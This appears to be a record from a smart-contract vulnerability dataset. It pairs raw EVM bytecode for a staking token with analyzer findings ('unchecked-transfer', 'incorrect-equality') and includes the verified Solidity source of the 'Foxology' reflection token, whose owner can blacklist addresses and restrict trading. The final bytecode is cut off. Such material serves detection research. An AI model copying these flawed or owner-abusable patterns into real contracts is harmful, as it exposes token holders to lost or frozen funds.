0x6080604052600436106101c25760003560e01c806395d89b41116100f7578063d5a44f8611610095578063e26ff10a11610064578063e26ff10a14610756578063ea40450e146107a7578063f2fde38b146107bc578063f905e2ce146107ef576101c2565b8063d5a44f8614610687578063d73531b9146106dc578063dd467064146106f1578063dd62ed3e1461071b576101c2565b8063b933ceac116100d1578063b933ceac14610534578063c14190da14610595578063c1699a99146105aa578063cae9ca51146105bf576101c2565b806395d89b41146104d1578063a69df4b5146104e6578063a9059cbb146104fb576101c2565b8063240976bf11610164578063426233601161013e578063426233601461041057806342966c681461044357806370a082311461046d5780638da5cb5b146104a0576101c2565b8063240976bf1461038f5780632e1a7d4d146103bb578063313ce567146103e5576101c2565b8063095ea7b3116101a0578063095ea7b3146102ae57806318160ddd146102fb5780631e6b4c6f1461032257806323b872dd1461034c576101c2565b806305e55e22146101da57806306fdde031461020f578063092a5cce14610299575b6005546101d5903463ffffffff61080416565b600555005b3480156101e657600080fd5b5061020d600480360360208110156101fd57600080fd5b50356001600160a01b031661085b565b005b34801561021b57600080fd5b506102246108e6565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025e578181015183820152602001610246565b50505050905090810190601f16801561028b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a557600080fd5b5061020d610971565b3480156102ba57600080fd5b506102e7600480360360408110156102d157600080fd5b506001600160a01b03813516906020013561098b565b604080519115158252519081900360200190f35b34801561030757600080fd5b506103106109f1565b60408051918252519081900360200190f35b34801561032e57600080fd5b5061020d6004803603602081101561034557600080fd5b5035610a34565b34801561035857600080fd5b506102e76004803603606081101561036f57600080fd5b506001600160a01b03813581169160208101359091169060400135610a50565b34801561039b57600080fd5b5061020d600480360360208110156103b257600080fd5b50351515610b49565b3480156103c757600080fd5b5061020d600480360360208110156103de57600080fd5b5035610b7e565b3480156103f157600080fd5b506103fa6111b9565b6040805160ff9092168252519081900360200190f35b34801561041c57600080fd5b506103106004803603602081101561043357600080fd5b50356001600160a01b03166111c2565b34801561044f57600080fd5b5061020d6004803603602081101561046657600080fd5b5035611211565b34801561047957600080fd5b506103106004803603602081101561049057600080fd5b50356001600160a01b03166113b5565b3480156104ac57600080fd5b506104b56113d0565b604080516001600160a01b039092168252519081900360200190f35b3480156104dd57600080fd5b506102246113df565b3480156104f257600080fd5b5061020d611439565b34801561050757600080fd5b506102e76004803603604081101561051e57600080fd5b506001600160a01b03813516906020013561182b565b34801561054057600080fd5b5061056d6004803603604081101561055757600080fd5b506001600160a01b0381351690602001356118c9565b6040805194855260208501939093528383019190915215156060830152519081900360800190f35b3480156105a157600080fd5b506103106118fe565b3480156105b657600080fd5b50610310611904565b3480156105cb57600080fd5b506102e7600480360360608110156105e257600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561061257600080fd5b82018360208201111561062457600080fd5b8035906020019184600183028401116401000000008311171561064657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061190a945050505050565b34801561069357600080fd5b506106b1600480360360208110156106aa57600080fd5b5035611a52565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b3480156106e857600080fd5b506104b5611a81565b3480156106fd57600080fd5b5061020d6004803603602081101561071457600080fd5b5035611a90565b34801561072757600080fd5b506103106004803603604081101561073e57600080fd5b506001600160a01b0381358116916020013516611f92565b34801561076257600080fd5b506107896004803603602081101561077957600080fd5b50356001600160a01b0316611fbd565b60408051938452602084019290925282820152519081900360600190f35b3480156107b357600080fd5b50610310611fde565b3480156107c857600080fd5b5061020d600480360360208110156107df57600080fd5b50356001600160a01b0316611fe4565b3480156107fb57600080fd5b5061020d61209b565b600082820183811015610852576040805162461bcd60e51b815260206004820152601160248201527021b0b631bab630ba34b7b71032b93937b960791b604482015290519081900360640190fd5b90505b92915050565b6000546001600160a01b0316331461087257600080fd5b6001600160a01b0381166108c4576040805162461bcd60e51b8152602060048201526014602482015273446f206e6f74207573652030206164647265737360601b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156109695780601f1061093e57610100808354040283529160200191610969565b820191906000526020600020905b81548152906001019060200180831161094c57829003601f168201915b505050505081565b6000546001600160a01b0316331461098857600080fd5b33ff5b336000818152600e602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000808052600d6020527f81955a0a11e65eac625c29e8882660bae4e165a75d72780094acae8ece9a29ee54600454610a2f9163ffffffff61233616565b905090565b6000546001600160a01b03163314610a4b57600080fd5b600855565b6001600160a01b0383166000908152600d6020526040812054610a79908363ffffffff61233616565b6001600160a01b0385166000908152600d6020908152604080832093909355600e815282822033835290522054610ab6908363ffffffff61233616565b6001600160a01b038086166000908152600e602090815260408083203384528252808320949094559186168152600d9091522054610afa908363ffffffff61080416565b6001600160a01b038085166000818152600d6020908152604091829020949094558051868152905191939288169260008051602061252083398151915292918290030190a35060019392505050565b6000546001600160a01b03163314610b6057600080fd5b60098054911515600160a01b0260ff60a01b19909216919091179055565b600954600160a01b900460ff1615610bc75760405162461bcd60e51b815260040180806020018281038252602681526020018061258c6026913960400191505060405180910390fd5b80600654811115610c1f576040805162461bcd60e51b815260206004820152601a60248201527f54686973207374616b6520646f6573206e6f742065786973742e000000000000604482015290519081900360640190fd5b610c27612448565b50336000908152600c6020908152604080832085845282529182902082516080810184528154815260018201549281019290925260028101549282019290925260039091015460ff1615156060820152610c7f612472565b600b60008581526020019081526020016000206040518060a0016040529081600082015481526020016001820154815260200160028201548152602001600382015481526020016004820154815250509050610cd96124a1565b50336000908152600a60209081526040918290208251606081018452815481526001820154928101929092526002015491810182905260085490910142811115610d62576040805162461bcd60e51b81526020600482015260156024820152745761697420746865206d696e696d756d2074696d6560581b604482015290519081900360640190fd5b4283602001511115610dbb576040805162461bcd60e51b815260206004820152601c60248201527f496e76616c6964206461746520666f72207769746864726177616c2e00000000604482015290519081900360640190fd5b606084015115610dfc5760405162461bcd60e51b81526004018080602001828103825260248152602001806125406024913960400191505060405180910390fd5b602080850151600080546001600160a01b03168152600d9092526040909120541015610e6f576040805162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e74206163636f756e742062616c616e636521000000604482015290519081900360640190fd5b8360400151471015610eb25760405162461bcd60e51b81526004018080602001828103825260288152602001806125646028913960400191505060405180910390fd5b8160200151861015610efc576040805162461bcd60e51b815260206004820152600e60248201526d24b73b30b634b21034b73232bc1760911b604482015290519081900360640190fd5b85826020015114610fb857610f0f612448565b50336000908152600c602090815260408083206000198a018452825291829020825160808101845281548152600182810154938201939093526002820154938101939093526003015460ff1615156060830181905214610fb6576040805162461bcd60e51b815260206004820181905260248201527f576974686472617720796f7572206f6c6420726577617264732066697273742e604482015290519081900360640190fd5b505b6001606085015281518085521561102257604083015160608401518551610ff69291610fea919063ffffffff61238716565b9063ffffffff6123ea16565b602085015260408301516080840151855161101c9291610fea919063ffffffff61238716565b60408501525b336000818152600c602090815260408083208a845282529182902087518155878201516001820181905588840151600283018190556060808b01516003909401805460ff191694151594909417909355845195865292850152838301919091528201889052426080830152517f51efe7d992e6417f2622357f98860003b0c8178862164d5cc16fadfae589e8ff9160a0908290030190a160208401511561117557602080850151600080546001600160a01b03168152600d9092526040909120546110f29163ffffffff61233616565b600080546001600160a01b03168152600d60209081526040808320939093558601513382529190205461112a9163ffffffff61080416565b336000818152600d60209081526040808320949094559054878201518451908152935192936001600160a01b0390911692600080516020612520833981519152929181900390910190a35b6040840151156111b1576040808501519051339180156108fc02916000818181858888f193505050501580156111af573d6000803e3d6000fd5b505b505050505050565b60035460ff1681565b60006111cc6124a1565b50506001600160a01b03166000908152600a60209081526040918290208251606081018452815480825260018301549382019390935260029091015492019190915290565b6000546001600160a01b0316331461122857600080fd5b6000811161126f576040805162461bcd60e51b815260206004820152600f60248201526e24b73b30b634b21020b6b7bab73a1760891b604482015290519081900360640190fd5b8060045410156112bf576040805162461bcd60e51b815260206004820152601660248201527524b73b30b634b21030b1b1b7bab73a1039ba30ba329760511b604482015290519081900360640190fd5b600080546001600160a01b03168152600d602052604090205481111561132c576040805162461bcd60e51b815260206004820152601f60248201527f496e76616c6964206163636f756e742062616c616e6365732073746174652e00604482015290519081900360640190fd5b60045461133f908263ffffffff61233616565b600455600080546001600160a01b03168152600d602052604090205461136b908263ffffffff61233616565b600080546001600160a01b039081168252600d602090815260408084209490945582548451868152945193949216926000805160206125208339815191529281900390910190a350565b6001600160a01b03166000908152600d602052604090205490565b6000546001600160a01b031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109695780601f1061093e57610100808354040283529160200191610969565b600954600160a01b900460ff16156114825760405162461bcd60e51b815260040180806020018281038252602681526020018061258c6026913960400191505060405180910390fd5b61148a6124a1565b50336000908152600a6020908152604091829020825160608101845281548082526001830154938201939093526002909101549281019290925280611516576040805162461bcd60e51b815260206004820152601e60248201527f596f7520646f206e6f742068617665206c6f636b656420746f6b656e732e0000604482015290519081900360640190fd5b601054604080516370a0823160e01b8152306004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561156057600080fd5b505afa158015611574573d6000803e3d6000fd5b505050506040513d602081101561158a57600080fd5b505110156115df576040805162461bcd60e51b815260206004820152601d60248201527f496e73756666696369656e74206163636f756e742062616c616e636521000000604482015290519081900360640190fd5b8151158015906115f157506000600654115b156116a2576115fe612448565b50336000908152600c60209081526040808320600654600019018452825291829020825160808101845281548152600182810154938201939093526002820154938101939093526003015460ff16151560608301819052146116a0576040805162461bcd60e51b81526020600482015260166024820152752bb4ba34323930bb903cb7bab9103932bbb0b932399760511b604482015290519081900360640190fd5b505b6116aa612472565b506006546000908152600b6020908152604091829020825160a08101845281548152600182015492810192909252600281015492820183905260038101546060830152600401546080820152835190916117099163ffffffff61233616565b60408281019182526006546000908152600b60209081528282208551815581860151600180830191909155945160028083019190915560608701516003830155608087015160049283015533808552600a84528585208581559687018590559501839055601054845163a9059cbb60e01b8152918201959095526024810187905292516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b1580156117bb57600080fd5b505af11580156117cf573d6000803e3d6000fd5b505050506040513d60208110156117e557600080fd5b50506040805133815260208101849052428183015290517f9ec497044d183253ab6aa127b513acf1b0234541b09c83b8f9a7df6b416544859181900360600190a1505050565b336000908152600d602052604081205461184b908363ffffffff61233616565b336000908152600d6020526040808220929092556001600160a01b0385168152205461187d908363ffffffff61080416565b6001600160a01b0384166000818152600d60209081526040918290209390935580518581529051919233926000805160206125208339815191529281900390910190a350600192915050565b600c60209081526000928352604080842090915290825290208054600182015460028301546003909301549192909160ff1684565b60055481565b60085481565b336000818152600e602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b838110156119e15781810151838201526020016119c9565b50505050905090810190601f168015611a0e5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015611a3057600080fd5b505af1158015611a44573d6000803e3d6000fd5b506001979650505050505050565b600b60205260009081526040902080546001820154600283015460038401546004909401549293919290919085565b6009546001600160a01b031681565b600954600160a01b900460ff1615611ad95760405162461bcd60e51b815260040180806020018281038252602681526020018061258c6026913960400191505060405180910390fd5b60008111611b2e576040805162461bcd60e51b815260206004820152601f60248201527f5061796d656e74206d7573742062652067726561746572207468616e20302e00604482015290519081900360640190fd5b601054604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015611b7857600080fd5b505afa158015611b8c573d6000803e3d6000fd5b505050506040513d6020811015611ba257600080fd5b50511015611be15760405162461bcd60e51b81526004018080602001828103825260238152602001806125b26023913960400191505060405180910390fd5b60105460408051636eb1769f60e11b8152336004820152306024820152905183926001600160a01b03169163dd62ed3e916044808301926020929190829003018186803b158015611c3157600080fd5b505afa158015611c45573d6000803e3d6000fd5b505050506040513d6020811015611c5b57600080fd5b50511015611cb0576040805162461bcd60e51b815260206004820152601e60248201527f43616c6c20417070726f76652066756e6374696f6e2066697273746c792e0000604482015290519081900360640190fd5b601054604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015611d0a57600080fd5b505af1158015611d1e573d6000803e3d6000fd5b505050506040513d6020811015611d3457600080fd5b50611d3f90506124a1565b50336000908152600a60209081526040918290208251606081018452815481526001820154928101929092526002015491810191909152611d7e612472565b506006546000908152600b6020908152604091829020825160a081018452815481526001820154928101929092526002810154928201929092526003820154606082015260049091015460808201528151611de6576006546020830152426040830152611eac565b815115801590611dfb57508160200151600654115b15611eac57611e08612448565b50336000908152600c60209081526040808320600654600019018452825291829020825160808101845281548152600182810154938201939093526002820154938101939093526003015460ff1615156060830181905214611eaa576040805162461bcd60e51b81526020600482015260166024820152752bb4ba34323930bb903cb7bab9103932bbb0b932399760511b604482015290519081900360640190fd5b505b8151611ebe908463ffffffff61080416565b8252336000908152600a60209081526040918290208451815590840151600182015581840151600290910155810151611efd908463ffffffff61080416565b6040808301918252600680546000908152600b602090815290839020855181558186015160018201559351600285015560608086015160038601556080808701516004909601959095559154835133815291820188905242828501529181019190915290517f2e280f6c712ca110f9a35656240ad17ac5bb31d888974d5989971e349dec5de8929181900390910190a1505050565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b600a6020526000908152604090208054600182015460029092015490919083565b60065490565b6000546001600160a01b03163314611ffb57600080fd5b6001600160a01b0381166120405760405162461bcd60e51b81526004018080602001828103825260268152602001806124c36026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6009546001600160a01b031633146120fa576040805162461bcd60e51b815260206004820152601d60248201527f596f752063616e6e6f742063616c6c20746869732066756e6374696f6e000000604482015290519081900360640190fd5b612102612472565b506006546000908152600b6020908152604091829020825160a081018452815480825260018301549382019390935260028201549381019390935260038101546060840152600401546080830152600854612163919063ffffffff61080416565b4210156121a15760405162461bcd60e51b81526004018080602001828103825260378152602001806124e96037913960400191505060405180910390fd5b42602082015260055460808201516121be9163ffffffff61080416565b6080820152600754815160208301516000926121fa926201518092610fea92916121ee919063ffffffff61233616565b9063ffffffff61238716565b600080546001600160a01b03168152600d60205260409020549091508111156122385750600080546001600160a01b03168152600d60205260409020545b6060808301828152600680546000908152600b60209081526040918290208751815581880151600182015582880151600282015593516003850155608087015160049094019390935590546005548251918252928101929092524282820152517f09cd0b90dee59311352eda75beb07b5967347d318ac8c8b6d818d52bac692041929181900390910190a150600680546001908101918290556040805160a08101825242815260006020808301828152968401518385019081526060840183815260808501848152978452600b9092529382209251835595519382019390935590516002820155925160038401559051600490920191909155600555565b600082821115612381576040805162461bcd60e51b815260206004820152601160248201527021b0b631bab630ba34b7b71032b93937b960791b604482015290519081900360640190fd5b50900390565b60008261239657506000610855565b828202828482816123a357fe5b0414610852576040805162461bcd60e51b815260206004820152601160248201527021b0b631bab630ba34b7b71032b93937b960791b604482015290519081900360640190fd5b6000808211612434576040805162461bcd60e51b815260206004820152601160248201527021b0b631bab630ba34b7b71032b93937b960791b604482015290519081900360640190fd5b600082848161243f57fe5b04949350505050565b60405180608001604052806000815260200160008152602001600081526020016000151581525090565b6040518060a0016040528060008152602001600081526020016000815260200160008152602001600081525090565b6040518060600160405280600081526020016000815260200160008152509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373596f752063616e6e6f742063616c6c20746869732066756e6374696f6e20756e74696c207374616b65506572696f64206973206f766572ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef596f7520616c7265616479207769746864726177616c20796f757220726577617264732e496e76616c6964206163636f756e742073746174652c206e6f7420656e6f7567682066756e64732e5468697320636f6e7472616374207761732070617573656420627920746865206f776e657221486f6c64657220646f6573206e6f74206861766520656e6f75676820746f6b656e732ea265627a7a72315820600b0a7e90f8364cd0c040ef9486beda5d193849af91681f24e1780011c488b364736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
5,836
0x4621afe23be3025a6c0692c33e36b032822948ee
/** *Submitted for verification at Etherscan.io on 2021-07-25 */ /** *Submitted for verification at Etherscan.io on 2021-07-24 */ /* The Marketing Platform in Crypto */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Foxology is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Foxology Token_T.me/CryptoFoxology"; string private constant _symbol = "Foxology"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 8; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 200000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e5e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612965565b610441565b6040516101789190612e43565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613000565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612912565b610470565b6040516101e09190612e43565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612878565b610549565b005b34801561021e57600080fd5b50610227610639565b6040516102349190613075565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612878565b610766565b6040516102b19190613000565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612d75565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612e5e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612965565b610970565b60405161035b9190612e43565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129a5565b61098e565b005b34801561039957600080fd5b506103a2610ab8565b005b3480156103b057600080fd5b506103b9610b32565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a48565b61108f565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128d2565b6111d8565b6040516104189190613000565b60405180910390f35b60606040518060600160405280602281526020016137a460229139905090565b600061045561044e61125f565b8484611267565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611432565b61053e8461048961125f565b6105398560405180606001604052806028815260200161377c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef61125f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf19092919063ffffffff16565b611267565b600190509392505050565b61055161125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612f40565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a61125f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473f